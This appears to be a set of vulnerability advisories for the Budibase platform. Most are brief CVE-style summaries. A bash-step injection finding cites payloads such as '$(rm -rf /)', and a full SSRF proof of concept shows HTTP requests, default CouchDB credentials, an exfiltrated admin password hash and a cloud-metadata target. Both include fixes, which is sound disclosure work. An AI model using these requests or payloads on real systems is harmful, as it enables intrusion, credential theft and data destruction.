Budibase before 3.41.3 fails to enforce role-based authorization on license management endpoints, allowing any authenticated user to delete license keys or manipulate offline tokens. Attackers with basic user privileges can access /api/global/license/ endpoints to disable premium features and downgrade deployments for all users.
Budibase before 3.41.3 fails to enforce per-table role restrictions on the POST /api/datasources/query endpoint, allowing low-privilege BASIC users to read, create, update, or delete rows in any table regardless of configured permissions. Attackers with BASIC role can submit crafted query requests with target table identifiers to bypass table-level access controls and manipulate restricted data.
Budibase versions before 3.41.3 contain a remote code execution vulnerability in plugin handling that allows authenticated admin users to execute arbitrary code by uploading a malicious plugin tarball. The server calls eval() on plugin JavaScript files without sandboxing in the main Node.js process, enabling attackers to exfiltrate environment variables and credentials with root privileges in default deployments.
Budibase before 3.41.3 fails to validate app-scoped builder role assignments in the public user create and update endpoints, allowing an authenticated app-scoped builder to grant builder access to unrelated apps. Attackers can submit crafted requests to the user update API with builder.apps fields to escalate privileges and gain unauthorized builder access to other applications in the same tenant.
Budibase versions before 3.41.3 contain a missing authorization vulnerability in the POST /api/resources/duplicate endpoint that allows authenticated builders to inject tables, automations, queries, and screens into any other application without holding any role in the destination workspace. Attackers can inject resources by specifying an arbitrary destination workspace ID in the request body, then trigger injected automations with outgoing webhooks to exfiltrate data from victim applications.
Summary Budibase 3.39.7 allows a low-privilege authenticated published-app user with the built-in BASIC role to obtain arbitrary S3 pre-signed upload URLs backed by a workspace datasource's stored server-side credentials.
The affected endpoint is:
POST /api/attachments/:datasourceId/url
The caller can control: text bucket key and receives: text signedUrl publicUrl
This lets a low-privilege published-app user mint S3 PUT URLs using server-side datasource credentials for attacker-chosen object destinations.
Steps:
1. Log in as an admin user. 2. Create a new app/workspace. 3. In the development app context, create an S3 datasource with valid credentials. 4. Publish the app. 5. Create a low-privilege user with the built-in BASIC role on the published production app ID. 6. Log in as that BASIC user. 7. Send: POST /api/attachments/<datasourceId>/url
with: json {"bucket":"foo","key":"bar"} and the published app header: text x-budibase-app-id: <publishedappid> Observe a successful response containing: text signedUrl publicUrl
Observed result
The following behavior:
dev BASIC request: 403 User does not have permission app publish: SUCCESS prod BASIC request: 200 OK Example confirmed runtime values from the final successful run: text prodAppId: appe6b4cdc6cd6949969a83ff11eee88c5a datasourceId: datasource0cec491b26a742468257c62382aa3284 publicUrl: https://foo.s3.eu-west-1.amazonaws.com/bar The returned signedUrl contained standard AWS signing markers, including: text X-Amz-Credential=bb X-Amz-Signature X-Amz-Expires=900 Impact
A low-privilege published-app user who knows a valid datasource ID can mint S3 upload URLs backed by server-side datasource credentials and choose arbitrary destination bucket and key values.
Route definition packages/server/src/api/routes/static.ts:45 Authorization logic packages/server/src/middleware/authorized.ts packages/server/src/middleware/resourceId.ts Controller logic packages/server/src/api/controllers/static/index.ts Datasource lookup packages/server/src/sdk/workspace/datasources/datasources.ts
Budibase is an open-source low-code platform. Prior to 3.39.19, the PostgreSQL datasource connector in packages/server/src/integrations/postgres.ts interpolates the user-controlled schema configuration field into a SET searchpath statement without escaping embedded double quotes, allowing an authenticated administrator who saves or tests the datasource to execute arbitrary SQL through the simple query protocol. This issue is fixed in version 3.39.19.
Budibase before 3.40.0 contains a SQL injection vulnerability in the Oracle datasource connector's post-write row lookup that fails to escape table names in identifiers. Attackers with write permission on a table with a double-quote in its name can inject SQL that executes as the datasource's database user to read or modify arbitrary data.
Budibase is an open-source low-code platform. Prior to 3.40.0, packages/backend-core/src/utils/outboundFetch.ts pinned a validated address through a Node agent, but the REST integration used getDispatcher from packages/backend-core/src/utils/fetch.ts, causing undici to ignore that agent and resolve the hostname again. A builder could use DNS rebinding to make packages/server/src/integrations/rest.ts connect to an internal address after a public address passed validation, with full response access and arbitrary REST methods. The fix adds createPinnedLookup support to the undici dispatcher and passes the validated address to custom fetch implementations. This issue is fixed in version 3.40.0.
Budibase versions before 3.40.0 contain an authorization/authentication bypass in the PUT /api/global/users/tenant/owner (changeTenantOwnerEmail) endpoint. On self-hosted instances (SELFHOSTED or DISABLEACCOUNTPORTAL set), the cloudRestricted middleware is a no-op and the route is protected only by a general authentication check, so any authenticated user — including a lowest-privilege BASIC app user — can reassign the tenant account-holder (top-privilege admin) email to an attacker-controlled address. The attacker can then use the public password-reset flow to take over the admin account, leading to full administrative access.
Budibase before 3.40.0 contains a cross-site request forgery vulnerability in the chat-link handoff endpoint that allows attackers to bind an external chat identity to a victim's account. Attackers can craft a phishing page that auto-submits a POST request with a leaked confirmation token to bind their chat identity to a victim user's account, enabling impersonation within agent operations and inheritance of victim permissions.
Budibase is an open-source low-code platform. Prior to 3.40.1, packages/server/src/integrations/mongodb.ts passed builder-controlled tlsCertificateKeyFile and tlsCAFile values directly to MongoClient on Budibase Cloud. A builder could submit absolute server paths through /api/datasources/verify and distinguish readable existing files from missing files by comparing the driver error, exposing a filesystem existence and readability oracle on the shared server. This issue is fixed in version 3.40.1.
Budibase is an open-source low-code platform. Prior to 3.39.25, the GET /api/global/groups endpoint in packages/worker/src/api/routes/global/groups.ts omitted auth.builderOrAdmin, allowing an authenticated BASIC role user to enumerate tenant groups, role mappings and user memberships, builder permissions, and default-group flags. The disclosure exposes the tenant access-control structure to users who are not builders or administrators. This issue is fixed in version 3.39.25.
Budibase is an open-source low-code platform. Prior to 3.39.25, packages/server/src/api/controllers/automation.ts returned automation test results containing trigger.outputs.user.oauth2, broadcast BuilderSocketEvent.AutomationTestProgress to the app room, and stored progress in packages/server/src/automations/testProgress.ts without user scoping. A co-builder could receive or poll another SSO-authenticated builder test and obtain OAuth2 access and refresh tokens. The fix adds sanitizeAutomationTestResult and isolates progress by user. This issue is fixed in version 3.39.25.
Budibase before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB datasource integration where user-supplied parameters are enriched with handlebars using noEscaping: true and parsed without operator filtering. Attackers can inject MongoDB operators through query parameters to bypass per-user access controls, read arbitrary documents, execute JavaScript via $where operators, or modify collections through update and delete operations.
Budibase before 3.40.0 contains an unauthenticated SQL injection vulnerability in webhook-triggered automations with EXECUTEQUERY steps. Attackers can POST attacker-controlled JSON to the webhook trigger endpoint to inject SQL payloads that execute with builder-configured database credentials, enabling data exfiltration, modification, and persistence in connected datasources like Snowflake.
Budibase is an open-source low-code platform. Prior to 3.39.30, the OIDC flow in packages/backend-core/src/middleware/passport/sso/oidc.ts resolved an email without getEmailVerified or an emailverified requirement, and packages/backend-core/src/middleware/passport/sso/sso.ts then used users.getGlobalUserByEmail as a fallback account-linking key. An attacker who can authenticate through a configured identity provider that asserts a victim email as unverified can have a fresh provider identity merged into the victim Budibase account and inherit the victim roles. This issue is fixed in version 3.39.30.
Budibase before 3.40.0 contains server-side request forgery vulnerabilities in OpenAPI query import and REST query execution that allow authenticated builder-level users to bypass DNS pinning protections through DNS rebinding attacks. Attackers can configure hostnames that resolve to public addresses during validation but resolve to loopback or private addresses during actual connection, allowing access to blocked internal HTTP services.
Budibase before 3.40.0 fails to redact datasource credentials stored in STRING typed fields, allowing authenticated users to read MongoDB connection strings and Firebase private keys in plaintext. Attackers with table read permissions can retrieve datasource configurations through the read API to obtain live backend database credentials and service account keys.
Budibase before 3.40.0 fails to properly sanitize S3 object keys, allowing authenticated builders to upload files with traversal sequences that are preserved during export. Attackers can craft filenames containing .. segments that escape the temporary directory during workspace export, writing arbitrary content to any path writable by the Budibase process.
Budibase versions 3.39.4 before 3.40.0 contain an authorization regression in the S3 attachment upload endpoint that allows BASIC users to obtain S3 PutObject presigned URLs by sending POST requests to the attachments endpoint. The route was changed from a BUILDER permission check to a TABLE/WRITE check, which BASIC users hold by default. Attackers can specify arbitrary S3 buckets in the request body to generate presigned URLs for writing to any bucket accessible by the stored IAM credentials, enabling unauthorized file uploads.
Budibase is an open-source low-code platform. Prior to 3.39.32, GET /api/global/users/tenant/:id was listed in PUBLICENDPOINTS in packages/worker/src/api/index.ts, and tenantUserLookup returned a full PlatformUser document. An unauthenticated caller could query an email or user identifier, distinguish existing users from missing users, and obtain tenant identifiers, user identifiers, email addresses, SSO identifiers, and document revision metadata. This issue is fixed in version 3.39.32.
Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/middleware/emailLockout.ts returned X-Account-Locked and Retry-After only for locked identifiers. An unauthenticated attacker could compare the response after repeated failures to enumerate valid email addresses and temporarily lock valid accounts. This issue is fixed in version 3.39.25.
Budibase is an open-source low-code platform. Prior to 3.40.0, POST /api/v2/email on account.budibase.app accepted a client-controlled accountId without binding it to the authenticated session, while checking only currentEmail. An authenticated attacker who obtains a victim account identifier can start the email-change workflow for the victim, receive and submit the verification code through POST /api/v2/email/verification, move the victim email to an attacker-controlled address, and complete a password reset as the victim. This issue is fixed in version 3.40.0.
Budibase is an open-source low-code platform. Prior to 3.40.1, RestIntegration.req in packages/server/src/integrations/rest.ts attached credentials from getAuthHeaders and defaultHeaders without requiring the final request destination to match the datasource origin. An unauthenticated caller of a PUBLIC POST /api/v2/queries/:queryId query could supply an absolute or parameterized path to an attacker-controlled host and receive the stored bearer, basic, or static-header credentials. This issue is fixed in version 3.40.1.
Budibase is an open-source low-code platform. Prior to 3.39.4, uploadUrl in packages/server/src/utilities/fileUtils.ts used a bare server-side fetch for string attachment values passed by processAttachments in packages/server/src/sdk/workspace/ai/helpers/rows.ts. A builder with the AI table-generation feature could cause an attachment value to reference an internal service or cloud metadata endpoint, and the response would be stored as an attachment without fetchWithBlacklist validation. This issue is fixed in version 3.39.4.
Budibase before 3.38.1 contains a server-side request forgery vulnerability in the REST datasource integration that fails to validate HTTP redirects against the IP blacklist. Attackers with Builder role can configure a REST datasource pointing to an external server that returns a redirect to internal IP addresses, bypassing blacklist protection to access cloud metadata endpoints and internal services.
Location: packages/server/src/automations/steps/bash.ts
Description The bash automation step executes user-provided commands using execSync without proper sanitization or validation. User input is processed through processStringSync which allows template interpolation, potentially allowing arbitrary command execution.
Code Reference 21:28:packages/server/src/automations/steps/bash.ts const command = processStringSync(inputs.code, context)
let stdout, success = true try { stdout = execSync(command, { timeout: environment.QUERYTHREADTIMEOUT, }).toString()
Attack Vector An attacker with access to create or modify automations can inject malicious shell commands by including template syntax that evaluates to command injection payloads (e.g., $(rm -rf /), ; malicious-command, | malicious-command).
Impact - Remote code execution (RCE) - Complete system compromise - Data exfiltration - Lateral movement within the infrastructure
Recommendation 1. Immediate: Disable bash automation step in production until fixed 2. Implement a whitelist of allowed commands 3. Use parameterized command execution with proper escaping 4. Implement command argument validation 5. Consider using a restricted shell or command sandboxing 6. Add rate limiting and monitoring for command execution
Example Fix typescript import { spawn } from "childprocess"
// Validate against whitelist const ALLOWEDCOMMANDS = ["echo", "date", "pwd"] // Extend as needed
function sanitizeCommand(input: string): string { // Remove dangerous characters and command chaining return input.replace(/[;&|$(){}[\]]/g, "").trim() }
function validateCommand(cmd: string): boolean { const parts = cmd.split(/\s+/) return ALLOWEDCOMMANDS.includes(parts[0]) }
export async function run({ inputs, context }) { if (!inputs.code) { return { stdout: "Budibase bash automation failed: Invalid inputs" } }
const processedCommand = processStringSync(inputs.code, context) const sanitized = sanitizeCommand(processedCommand) if (!validateCommand(sanitized)) { return { success: false, stdout: "Command not allowed" } }
// Use spawn instead of execSync with proper argument handling return new Promise((resolve) => { const [command, ...args] = sanitized.split(/\s+/) const proc = spawn(command, args, { timeout: environment.QUERYTHREADTIMEOUT, }) let stdout = "" proc.stdout.on("data", (data) => { stdout += data }) proc.on("close", (code) => { resolve({ stdout, success: code === 0 }) }) }) }
Budibase is an open-source low-code platform. Prior to version 3.23.25, a business logic vulnerability exists in Budibase’s password reset functionality due to the absence of rate limiting, CAPTCHA, or abuse prevention mechanisms on the “Forgot Password” endpoint. An unauthenticated attacker can repeatedly trigger password reset requests for the same email address, resulting in hundreds of password reset emails being sent in a short time window. This enables large-scale email flooding, user harassment, denial of service (DoS) against user inboxes, and potential financial and reputational impact for Budibase. This issue has been patched in version 3.23.25.
1. Summary
| Field | Value | |-------|-------| | Title | SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration | | Product | Budibase | | Version | 3.30.6 (latest stable as of 2026-02-25) | | Component | REST Datasource Integration + Backend-Core Blacklist Module | | Severity | Critical | | Attack Vector | Network | | Privileges Required | Low (Builder role, or QUERY WRITE for execution of pre-existing queries) | | User Interaction | None | | Affected Deployments | All self-hosted instances without explicit BLACKLISTIPS configuration (believed to be the vast majority) |
---
2. Description
A critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the BLACKLISTIPS environment variable is not set by default in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns false, allowing all requests through without restriction.
This allows any user with Builder privileges (or QUERY WRITE permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata.
The vulnerability is particularly severe because: 1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data 2. CouchDB credentials are embedded in the environment variables visible to the application container 3. A successful exploit grants full read/write access to the entire Budibase data layer
---
3. Root Cause Analysis
3.1 Blacklist Implementation
File: packages/backend-core/src/blacklist/blacklist.ts
typescript // Line 23-37: Blacklist refresh reads from environment variable export async function refreshBlacklist() { const blacklist = env.BLACKLISTIPS // ← reads BLACKLISTIPS const list = blacklist?.split(",") || [] // ← empty array if unset let final: string[] = [] for (let addr of list) { // ... resolves domains to IPs } blackListArray = final // ← empty array }
// Line 39-54: Blacklist check export async function isBlacklisted(address: string): Promise<boolean> { if (!blackListArray) { await refreshBlacklist() } if (blackListArray?.length === 0) { return false // ← ALWAYS returns false when empty } // ... rest of check never executes }
Problem: When BLACKLISTIPS is not set (the default), blackListArray is initialized as an empty array, and isBlacklisted() unconditionally returns false for every URL.
3.2 Default Configuration Missing BLACKLISTIPS
File: hosting/.env (official Docker Compose deployment template)
env MAINPORT=10000 APIENCRYPTIONKEY=testsecret JWTSECRET=testsecret MINIOACCESSKEY=budibase MINIOSECRETKEY=budibase COUCHDBPASSWORD=budibase COUCHDBUSER=budibase REDISPASSWORD=budibase INTERNALAPIKEY=budibase ... (19 other variables) BLACKLISTIPS is NOT present
No default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.
3.3 REST Integration Blacklist Check
File: packages/server/src/integrations/rest.ts
typescript // Line 684-686: Blacklist check before fetch const url = this.getUrl(path, queryString, pagination, paginationValues) if (await blacklist.isBlacklisted(url)) { // ← always false throw new Error("Cannot connect to URL.") // ← never reached } // Line 708: response = await fetch(url, input) // ← unrestricted fetch
3.4 Authorization Model
| Operation | Endpoint | Required Permission | |-----------|----------|-------------------| | Create datasource | POST /api/datasources | BUILDER (app-level) | | Create query | POST /api/queries | BUILDER (app-level) | | Execute query | POST /api/v2/queries/:id | QUERY WRITE (can be granted to any app user) |
Route definitions: - packages/server/src/api/routes/datasource.ts:19 → builderRoutes - packages/server/src/api/routes/query.ts:33 → builderRoutes (create) - packages/server/src/api/routes/query.ts:55-66 → writeRoutes with PermissionType.QUERY, PermissionLevel.WRITE (execute)
Key insight: The BUILDER role is an app-level permission, significantly lower than GLOBALBUILDER (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.
---
4. Impact Analysis
4.1 Confidentiality — Critical
An attacker can read: - All CouchDB databases (/alldbs) - User credentials including bcrypt password hashes, email addresses (/global-db/alldocs?includedocs=true) - Platform configuration including encryption keys, JWT secrets - All application data across every app in the instance - Internal service metadata (MinIO storage, Redis)
4.2 Integrity — High
Through CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can: - Modify user records to escalate privileges - Create new admin accounts directly in CouchDB - Alter application data in any app's database - Delete databases causing data loss
4.3 Availability — Medium
- Resource exhaustion by making the server proxy large responses from internal services - Database destruction via CouchDB DELETE operations - Service disruption by modifying critical configuration documents
4.4 Scope Change
The vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A Builder user should only be able to configure app-level logic, but this vulnerability grants direct access to: - CouchDB (database layer) - MinIO (storage layer) - Redis (cache/session layer) - Any other service accessible from the Docker network
---
5. Proof of Concept
5.1 Environment Setup
bash cd hosting/ docker compose up -d Wait for services to start Create admin account via POST /api/global/users/init Login to obtain session cookie
Tested on: Budibase v3.30.6, Docker Compose deployment with default hosting/.env
5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB
http POST /api/datasources HTTP/1.1 Host: localhost:10000 Content-Type: application/json Cookie: budibase:auth=<sessiontoken> x-budibase-app-id: <appid>
{ "datasource": { "name": "Internal CouchDB", "source": "REST", "type": "datasource", "config": { "url": "http://couchdb-service:5984", "defaultHeaders": {} } } }
Response (201 — datasource created successfully): json { "datasource": { "id": "datasource4530e34a8b2e423f8f8eb53e2b2cefc6", "name": "Internal CouchDB", "source": "REST", "config": { "url": "http://couchdb-service:5984" } } }
No warning, no validation error — an internal hostname is accepted without restriction.
5.3 Step 2 — Query CouchDB Version (Confirm Connectivity)
Create and execute a query to GET /:
http POST /api/v2/queries/<queryid> HTTP/1.1
Response — Internal CouchDB data returned to the attacker: json { "data": [{ "couchdb": "Welcome", "version": "3.3.3", "gitsha": "40afbcfc7", "uuid": "9cd97b58e2cef72e730a83247c377d2b", "features": ["search","access-ready","partitioned", "pluggable-storage-engines","reshard","scheduler"], "vendor": {"name": "The Apache Software Foundation"} }], "code": 200, "time": "44ms" }
5.4 Step 3 — Enumerate All Databases
Query: GET /alldbs with CouchDB admin credentials (from .env: budibase:budibase)
json { "data": [ {"value": "replicator"}, {"value": "users"}, {"value": "appdev3eeb8d7949074250ae62f206ad0b61a5"}, {"value": "appdev5135f7f368bc4701a7f163baaf22f1b7"}, {"value": "global-db"}, {"value": "global-info"} ] }
5.5 Step 4 — Exfiltrate User Credentials and Platform Secrets
Query: GET /global-db/alldocs?includedocs=true&limit=20 Headers: Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U= (budibase:budibase)
Response — Full user record with bcrypt hash: json { "data": [{ "totalrows": 4, "rows": [ { "id": "configsettings", "doc": { "id": "configsettings", "type": "settings", "config": { "platformUrl": "http://localhost:10000", "uniqueTenantId": "23ba9844703049778d75372e720c7169default" } } }, { "id": "us09c5f0a89b7f40c19db863e1aaaf90fd", "doc": { "id": "us09c5f0a89b7f40c19db863e1aaaf90fd", "email": "admin@test.com", "password": "$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK", "builder": {"global": true}, "admin": {"global": true}, "tenantId": "default", "status": "active" } }, { "id": "usagequota", "doc": { "id": "usagequota", "quotaReset": "2026-03-01T00:00:00.000Z", "usageQuota": {"apps": 2, "users": 1, "creators": 1} } } ] }] }
Exfiltrated data includes: - Admin email: admin@test.com - Bcrypt password hash: $2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK - Role information: builder.global: true, admin.global: true - Tenant ID, platform URL, quota information
5.6 Step 5 — Access Other Internal Services
MinIO (Object Storage): Datasource URL: http://minio-service:9000 Response: {"Code":"BadRequest","Message":"An unsupported API call..."} Server header: MinIO Confirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.
Redis (Port Scanning): Datasource URL: http://redis-service:6379 Response: "fetch failed" (Redis speaks non-HTTP protocol) Different error from non-existent host → confirms service discovery capability.
Non-existent service: Datasource URL: http://nonexistent-service:12345 Response: "fetch failed"
5.7 Service Discovery Matrix
| Target | URL | Response | Service Confirmed | |--------|-----|----------|-------------------| | CouchDB | http://couchdb-service:5984/ | {"couchdb":"Welcome","version":"3.3.3"} | Yes — full data access | | MinIO | http://minio-service:9000/ | XML error with Server: MinIO header | Yes — storage access | | Redis | http://redis-service:6379/ | socket hang up / fetch failed | Yes — port open | | Non-existent | http://nonexistent:12345/ | fetch failed (ENOTFOUND) | No — different error |
This differential response enables internal network mapping.
---
6. Attack Scenarios
Scenario A: Builder User Steals All Credentials 1. User has Builder role for one app 2. Creates REST datasource → http://couchdb-service:5984 3. Queries global-db to get all user records with password hashes 4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT
Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation) 1. Attacker has Creator role (lower than Builder) 2. Exploits CVE-2026-25040 to invite themselves as Admin 3. Now has Builder access → exploits this SSRF 4. Complete instance takeover
Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure) 1. On cloud-hosted instances, datasource URL: http://169.254.169.254/latest/meta-data/ 2. Retrieves IAM credentials, instance metadata 3. Pivots to cloud infrastructure
---
7. Affected Code Paths
User Request │ ▼ POST /api/datasources [BUILDER permission] │ packages/server/src/api/routes/datasource.ts:32 │ → No URL validation on datasource.config.url ▼ POST /api/v2/queries/:queryId [QUERY WRITE permission] │ packages/server/src/api/routes/query.ts:63 ▼ packages/server/src/threads/query.ts │ → Executes query via REST integration ▼ packages/server/src/integrations/rest.ts │ Line 684: blacklist.isBlacklisted(url) → returns false (empty list) │ Line 708: fetch(url, input) → unrestricted request ▼ Internal Service (CouchDB, MinIO, Redis, etc.) │ ▼ Response returned to attacker via query results
---
8. Recommended Fixes
Fix 1 (Critical): Add Default Private IP Blocklist
typescript // packages/backend-core/src/blacklist/blacklist.ts
const DEFAULTBLOCKEDRANGES = [ "127.0.0.0/8", // localhost "10.0.0.0/8", // RFC1918 "172.16.0.0/12", // RFC1918 "192.168.0.0/16", // RFC1918 "169.254.0.0/16", // link-local / cloud metadata "0.0.0.0/8", // current network "::1/128", // IPv6 localhost "fc00::/7", // IPv6 private "fe80::/10", // IPv6 link-local ]
export async function isBlacklisted(address: string): Promise<boolean> { // Always check against default blocked ranges // even when BLACKLISTIPS is not configured const ips = await resolveToIPs(address) for (const ip of ips) { if (isInRange(ip, DEFAULTBLOCKEDRANGES)) { return true } } // Then check user-configured blacklist // ...existing logic... }
Fix 2 (High): Validate Datasource URLs at Creation Time
typescript // packages/server/src/api/controllers/datasource.ts
async function save(ctx) { const { config } = ctx.request.body.datasource if (config?.url) { if (await blacklist.isBlacklisted(config.url)) { ctx.throw(400, "Cannot create datasource targeting internal network") } } // ... existing logic }
Fix 3 (Medium): Add DNS Rebinding Protection
Resolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.
Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect
Ensure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.